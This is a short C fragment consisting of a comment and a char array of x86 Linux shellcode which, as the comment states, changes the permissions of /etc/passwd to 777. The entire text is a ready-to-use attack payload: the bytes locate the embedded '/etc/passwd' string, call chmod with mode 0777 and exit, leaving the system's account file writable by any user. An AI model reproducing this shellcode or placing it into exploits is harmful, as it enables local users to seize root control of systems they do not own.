/* Changes the mode on /etc/passwd to 777 */
char shellcode[]=
  "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x1d"
  "\x01\xfb\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\xff\x01\x31\xc0\xb0"
  "\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61"
  "\x73\x73\x77\x64\x89\xec\x5d\xc3";